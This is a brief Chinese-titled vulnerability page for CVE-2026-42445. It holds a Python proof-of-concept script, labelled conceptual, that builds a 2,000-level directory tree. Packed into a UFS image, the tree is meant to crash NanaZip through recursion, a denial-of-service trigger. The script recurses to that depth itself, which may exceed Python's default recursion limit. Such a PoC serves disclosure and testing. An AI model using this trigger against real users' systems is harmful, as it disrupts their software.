CVE-2026-42445 NanaZip递归漏洞致拒绝服务

# PoC for CVE-2026-42445 (Conceptual) # This script demonstrates how to create a deep directory structure # that would trigger the uncontrolled recursion if packed into a UFS image. import os def create_deep_directory(base_path, depth): """ Recursively creates a deep directory structure. In the actual exploit, this structure exists within a crafted UFS image. """ if depth <= 0: # Create a file to mark the end with open(os.path.join(base_path, 'payload.txt'), 'w') as f: f.write('CVE-2026-42445 Trigger') return current_dir = os.path.join(base_path, f'level_{depth}') try: os.makedirs(current_dir) print(f"Created directory: {current_dir}") create_deep_directory(current_dir, depth - 1) except OSError as e: print(f"Error: {e}") if __name__ == "__main__": # Depth sufficient to cause stack exhaustion in vulnerable parsers # NanaZip default stack size may vary, but deep recursion is the key. target_depth = 2000 output_dir = "./ufs_poc_structure" if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"Generating directory structure with depth {target_depth}...") create_deep_directory(output_dir, target_depth) print("Done. To exploit, pack this structure into a UFS filesystem image and open with NanaZip.")